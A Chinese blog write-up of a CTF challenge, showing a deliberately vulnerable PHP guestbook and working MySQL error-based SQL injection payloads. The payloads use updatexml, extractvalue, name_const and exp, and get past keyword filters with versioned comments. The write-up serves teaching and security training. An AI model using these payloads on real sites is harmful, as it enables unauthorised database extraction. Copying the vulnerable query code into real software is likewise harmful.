MySQLi-Error Injection

本篇文章源于一道三个白帽的题目

该题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}

function filter($str){
$rstr = "";
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace('\'','',$rstr);
return $rstr;
}


if(!empty($message)){
if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
die("hello,sangebaimao!");
}
if(filter($message) !== $message){
die("hello,sangebaimao!");
}

$sql="insert guestbook(`message`) value('$message');";
mysql_query($sql);
$sql = "select * from guestbook order by id limit 0,5;";
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row['id'];
$message = $row['message'];
echo "|$id|=>|$message|<br/>";
}
}

$message = stripcslashes($message);
$sql = "delete from guestbook where id=$id or message ='$message';";
if(!mysql_query($sql)){
print(mysql_error());
$sql = "delete from guestbook where id=$id";
mysql_query($sql);
};
}
?>

这题读完一遍源码之后,就知道需要bypass单引号和preg_match("/\b(select|insert|update|delete)\b/i",$message), 然后是二次注入+报错注入.

bypass单引号是借助stripcslashes($message);该函数,所以使用?message=aaa\x27 来bypass单引号,这不是本篇重点,就不多说了。

然后使用/*!00000select*/ 来bypass preg_match("/\b(select|insert|update|delete)\b/i",$message)

/*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释
eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.9-log |
+-----------+
1 row in set (0.00 sec)

mysql> select /*!50709version()*/;
+-----------+
| version() |
+-----------+
| 5.7.9-log |
+-----------+
1 row in set (0.00 sec)

mysql> select /*!50710version()*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

好了,现在可以进行注入了,因为有一句print(mysql_error());,所以可以报错注入了:
报错注入是从写bug中发现的么?

使用updatexml

payload:

1
?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

使用ExtractValue()

payload:

1
?message=aaa\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23

这个同理上面的,不过区别是
ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值

不过extractvalue和updatexml有个缺陷是,报错数据最大长度为32

使用name_const

payload:

1
?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select name_const('a','b');
+------+
| a |
+------+
| b |
+------+
1 row in set (0.00 sec)

mysql> /*!00000SELECT*/(name_const(version(),1)),name_const(version(),1); +-----------+-----------+
| 5.7.9-log | 5.7.9-log |
+-----------+-----------+
| 1 | 1 |
+-----------+-----------+
1 row in set (0.00 sec)

本题利用的是表的字段名不允许重复,报错长度没有限制

利用exp报错

payload:

1
?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23

利用double型溢出,可参考http://drops.wooyun.org/tips/8166

利用floor报错

可参考http://www.jinglingshu.org/?p=4507, 对于floor 报错注入我理解的不是特别透彻

利用join报错

join 可用来报列名,同样可参考上面那个链接,本题不是一个很好的join报错案例

Author

Hcamael

Posted on

2016-04-08

Updated on

2017-08-08

Licensed under